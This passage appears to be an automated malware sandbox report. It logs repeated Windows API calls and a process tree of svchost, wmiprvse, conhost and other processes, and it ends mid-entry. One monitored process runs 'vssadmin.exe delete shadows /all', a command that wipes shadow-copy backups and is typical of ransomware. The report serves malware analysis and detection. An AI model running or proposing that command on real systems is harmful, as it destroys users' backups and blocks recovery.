WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.641] GetLastError () returned 0x0 [0122.641] SetLastError (dwErrCode=0x0) [0122.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.641] GetLastError () returned 0x0 [0122.641] SetLastError (dwErrCode=0x0) [0122.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.641] GetLastError () returned 0x0 [0122.641] SetLastError (dwErrCode=0x0) [0122.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.641] GetLastError () returned 0x0 [0122.641] SetLastError (dwErrCode=0x0) [0122.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.641] GetLastError () returned 0x0 [0122.642] SetLastError (dwErrCode=0x0) [0122.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.642] GetLastError () returned 0x0 [0122.642] SetLastError (dwErrCode=0x0) [0122.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.642] GetLastError () returned 0x0 [0122.642] SetLastError (dwErrCode=0x0) [0122.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.642] GetLastError () returned 0x0 [0122.642] SetLastError (dwErrCode=0x0) [0122.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.642] GetLastError () returned 0x0 [0122.642] SetLastError (dwErrCode=0x0) [0122.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.642] GetLastError () returned 0x0 [0122.642] SetLastError (dwErrCode=0x0) [0122.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.642] GetLastError () returned 0x0 [0122.642] SetLastError (dwErrCode=0x0) [0122.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.642] GetLastError () returned 0x0 [0122.642] SetLastError (dwErrCode=0x0) [0122.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="\n?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.642] GetLastError () returned 0x0 [0122.642] SetLastError (dwErrCode=0x0) [0122.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.642] GetLastError () returned 0x0 [0122.642] SetLastError (dwErrCode=0x0) [0122.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="!?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.642] GetLastError () returned 0x0 [0122.642] SetLastError (dwErrCode=0x0) [0122.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.642] GetLastError () returned 0x0 [0122.642] SetLastError (dwErrCode=0x0) [0122.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.642] GetLastError () returned 0x0 [0122.642] SetLastError (dwErrCode=0x0) [0122.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="!?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.642] GetLastError () returned 0x0 [0122.642] SetLastError (dwErrCode=0x0) [0122.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="!?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.643] GetLastError () returned 0x0 [0122.643] SetLastError (dwErrCode=0x0) [0122.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.643] GetLastError () returned 0x0 [0122.643] SetLastError (dwErrCode=0x0) [0122.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="!?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.643] GetLastError () returned 0x0 [0122.643] SetLastError (dwErrCode=0x0) [0122.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.643] GetLastError () returned 0x0 [0122.643] SetLastError (dwErrCode=0x0) [0122.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.643] GetLastError () returned 0x0 [0122.643] SetLastError (dwErrCode=0x0) [0122.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.643] GetLastError () returned 0x0 [0122.643] SetLastError (dwErrCode=0x0) [0122.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.643] GetLastError () returned 0x0 [0122.643] SetLastError (dwErrCode=0x0) [0122.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.643] GetLastError () returned 0x0 [0122.643] SetLastError (dwErrCode=0x0) [0122.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.643] GetLastError () returned 0x0 [0122.643] SetLastError (dwErrCode=0x0) [0122.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.643] GetLastError () returned 0x0 [0122.643] SetLastError (dwErrCode=0x0) [0122.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="!?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.643] GetLastError () returned 0x0 [0122.643] SetLastError (dwErrCode=0x0) [0122.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="!?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.643] GetLastError () returned 0x0 [0122.643] SetLastError (dwErrCode=0x0) [0122.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.643] GetLastError () returned 0x0 [0122.643] SetLastError (dwErrCode=0x0) [0122.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.643] GetLastError () returned 0x0 [0122.644] SetLastError (dwErrCode=0x0) [0122.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="!?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.644] GetLastError () returned 0x0 [0122.644] SetLastError (dwErrCode=0x0) [0122.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="!?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.644] GetLastError () returned 0x0 [0122.644] SetLastError (dwErrCode=0x0) [0122.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.644] GetLastError () returned 0x0 [0122.644] SetLastError (dwErrCode=0x0) [0122.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.644] GetLastError () returned 0x0 [0122.644] SetLastError (dwErrCode=0x0) [0122.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.644] GetLastError () returned 0x0 [0132.023] GetLastError () returned 0x0 [0132.024] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c62c0 | out: hHeap=0x4b0000) returned 1 [0132.024] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xffffffff) returned 0x0 [0134.175] GetExitCodeProcess (in: hProcess=0x260, lpExitCode=0x19fbd4 | out: lpExitCode=0x19fbd4*=0x0) returned 1 [0134.175] CloseHandle (hObject=0x260) returned 1 [0134.175] CloseHandle (hObject=0x25c) returned 1 [0134.175] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4908 | out: hHeap=0x4b0000) returned 1 [0134.175] GetLastError () returned 0x0 Thread: id = 125 os_tid = 0xf7c Thread: id = 300 os_tid = 0x1374 Thread: id = 301 os_tid = 0xf6c Process: id = "10" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x20d48000" os_pid = "0xa1c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0xe48" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000116db" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 119 os_tid = 0x12b0 Thread: id = 120 os_tid = 0x12ac Thread: id = 121 os_tid = 0x78c Thread: id = 123 os_tid = 0xf64 Thread: id = 124 os_tid = 0xf80 Thread: id = 298 os_tid = 0x128c Thread: id = 299 os_tid = 0x12ec Process: id = "11" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x47534000" os_pid = "0x170" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "rpc_server" parent_id = "7" os_parent_pid = "0x23c" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wisvc" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\WpnService" [0xa], "NT SERVICE\\wuauserv" [0xa], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000abaa" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 130 os_tid = 0x10d8 Thread: id = 131 os_tid = 0x10d4 Thread: id = 132 os_tid = 0x10d0 Thread: id = 133 os_tid = 0x10cc Thread: id = 134 os_tid = 0x10c8 Thread: id = 135 os_tid = 0x10c4 Thread: id = 136 os_tid = 0x10c0 Thread: id = 137 os_tid = 0x10e0 Thread: id = 138 os_tid = 0x58 Thread: id = 139 os_tid = 0xb00 Thread: id = 140 os_tid = 0xcec Thread: id = 141 os_tid = 0xb94 Thread: id = 142 os_tid = 0xb88 Thread: id = 143 os_tid = 0x368 Thread: id = 144 os_tid = 0x51c Thread: id = 145 os_tid = 0xfec Thread: id = 146 os_tid = 0xfd8 Thread: id = 147 os_tid = 0xfc4 Thread: id = 148 os_tid = 0x12f0 Thread: id = 149 os_tid = 0x130c Thread: id = 150 os_tid = 0x1310 Thread: id = 151 os_tid = 0x4f8 Thread: id = 152 os_tid = 0x10b0 Thread: id = 153 os_tid = 0x548 Thread: id = 154 os_tid = 0xd84 Thread: id = 155 os_tid = 0x11c0 Thread: id = 156 os_tid = 0x11a4 Thread: id = 157 os_tid = 0x11cc Thread: id = 158 os_tid = 0x11b8 Thread: id = 159 os_tid = 0x11bc Thread: id = 160 os_tid = 0x11a8 Thread: id = 161 os_tid = 0xe4c Thread: id = 162 os_tid = 0xe60 Thread: id = 163 os_tid = 0x10ec Thread: id = 164 os_tid = 0x13f0 Thread: id = 165 os_tid = 0x13e4 Thread: id = 166 os_tid = 0x12d4 Thread: id = 167 os_tid = 0x12d0 Thread: id = 168 os_tid = 0x12c8 Thread: id = 169 os_tid = 0x12c0 Thread: id = 170 os_tid = 0x126c Thread: id = 171 os_tid = 0x1268 Thread: id = 172 os_tid = 0x1264 Thread: id = 173 os_tid = 0x1260 Thread: id = 174 os_tid = 0x1250 Thread: id = 175 os_tid = 0x125c Thread: id = 176 os_tid = 0x1258 Thread: id = 177 os_tid = 0x1174 Thread: id = 178 os_tid = 0x1158 Thread: id = 179 os_tid = 0x1154 Thread: id = 180 os_tid = 0x1148 Thread: id = 181 os_tid = 0x1144 Thread: id = 182 os_tid = 0x1140 Thread: id = 183 os_tid = 0xf04 Thread: id = 184 os_tid = 0xeb8 Thread: id = 185 os_tid = 0xeac Thread: id = 186 os_tid = 0xe88 Thread: id = 187 os_tid = 0xbb4 Thread: id = 188 os_tid = 0xa80 Thread: id = 189 os_tid = 0x9e8 Thread: id = 190 os_tid = 0x9dc Thread: id = 191 os_tid = 0x9d8 Thread: id = 192 os_tid = 0x9d0 Thread: id = 193 os_tid = 0x9cc Thread: id = 194 os_tid = 0x9bc Thread: id = 195 os_tid = 0x9a4 Thread: id = 196 os_tid = 0x9a0 Thread: id = 197 os_tid = 0x998 Thread: id = 198 os_tid = 0x974 Thread: id = 199 os_tid = 0x968 Thread: id = 200 os_tid = 0x95c Thread: id = 201 os_tid = 0x950 Thread: id = 202 os_tid = 0x900 Thread: id = 203 os_tid = 0x8c0 Thread: id = 204 os_tid = 0x878 Thread: id = 205 os_tid = 0x498 Thread: id = 206 os_tid = 0x7dc Thread: id = 207 os_tid = 0x7c8 Thread: id = 208 os_tid = 0x7bc Thread: id = 209 os_tid = 0x794 Thread: id = 210 os_tid = 0x790 Thread: id = 211 os_tid = 0x77c Thread: id = 212 os_tid = 0x770 Thread: id = 213 os_tid = 0x6e4 Thread: id = 214 os_tid = 0x668 Thread: id = 215 os_tid = 0x664 Thread: id = 216 os_tid = 0x660 Thread: id = 217 os_tid = 0x65c Thread: id = 218 os_tid = 0x654 Thread: id = 219 os_tid = 0x648 Thread: id = 220 os_tid = 0x5c4 Thread: id = 221 os_tid = 0x580 Thread: id = 222 os_tid = 0x458 Thread: id = 223 os_tid = 0x440 Thread: id = 224 os_tid = 0x408 Thread: id = 225 os_tid = 0x350 Thread: id = 226 os_tid = 0x184 Thread: id = 227 os_tid = 0x3d8 Thread: id = 228 os_tid = 0x8 Thread: id = 229 os_tid = 0x35c Thread: id = 230 os_tid = 0x390 Thread: id = 231 os_tid = 0x310 Thread: id = 232 os_tid = 0x26c Thread: id = 233 os_tid = 0x290 Thread: id = 234 os_tid = 0x238 Thread: id = 235 os_tid = 0x164 Thread: id = 236 os_tid = 0x198 Thread: id = 303 os_tid = 0xd74 Thread: id = 304 os_tid = 0xf28 Process: id = "12" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x579a6000" os_pid = "0xbf4" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e990" monitor_reason = "rpc_server" parent_id = "11" os_parent_pid = "0x2a4" cmd_line = "C:\\WINDOWS\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\lfsvc" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xe], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wisvc" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\WpnService" [0xe], "NT SERVICE\\wuauserv" [0xa], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000abaa" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 239 os_tid = 0x114c Thread: id = 240 os_tid = 0xd70 Thread: id = 241 os_tid = 0xed4 Thread: id = 242 os_tid = 0xea4 Thread: id = 243 os_tid = 0xea0 Thread: id = 244 os_tid = 0xe78 Thread: id = 245 os_tid = 0x8dc Thread: id = 246 os_tid = 0x5fc Process: id = "13" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x3d714000" os_pid = "0xde4" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "11" os_parent_pid = "0x2a4" cmd_line = "C:\\WINDOWS\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:00032069" [0xc000000f] Thread: id = 247 os_tid = 0x1150 Thread: id = 248 os_tid = 0xe0c Thread: id = 249 os_tid = 0xe04 Thread: id = 250 os_tid = 0xe00 Thread: id = 251 os_tid = 0xdfc Thread: id = 252 os_tid = 0xdf8 Thread: id = 253 os_tid = 0xdf4 Thread: id = 254 os_tid = 0xde8 Process: id = "14" image_name = "wmiprvse.exe" filename = "c:\\windows\\syswow64\\wbem\\wmiprvse.exe" page_root = "0x27c18000" os_pid = "0xc70" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "11" os_parent_pid = "0x2a4" cmd_line = "C:\\WINDOWS\\sysWOW64\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:000b8fc5" [0xc000000f] Thread: id = 255 os_tid = 0x4d8 Thread: id = 256 os_tid = 0x370 Thread: id = 257 os_tid = 0x4f4 Thread: id = 258 os_tid = 0x518 Thread: id = 259 os_tid = 0x13e0 Thread: id = 260 os_tid = 0x6c0 Thread: id = 261 os_tid = 0xd88 Thread: id = 262 os_tid = 0xdc Thread: id = 263 os_tid = 0x13dc Process: id = "15" image_name = "vssadmin.exe" filename = "c:\\windows\\syswow64\\vssadmin.exe" page_root = "0x2bf79000" os_pid = "0xd54" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x1368" cmd_line = "\"C:\\WINDOWS\\system32\\vssadmin.exe\" delete shadows /all" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000116db" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 264 os_tid = 0xcfc Thread: id = 265 os_tid = 0xa90 Thread: id = 266 os_tid = 0xb60 Thread: id = 267 os_tid = 0xb38 Thread: id = 268 os_tid = 0x1280 Process: id = "16" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x49fb6000" os_pid = "0xd8c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0xe48" cmd_line = 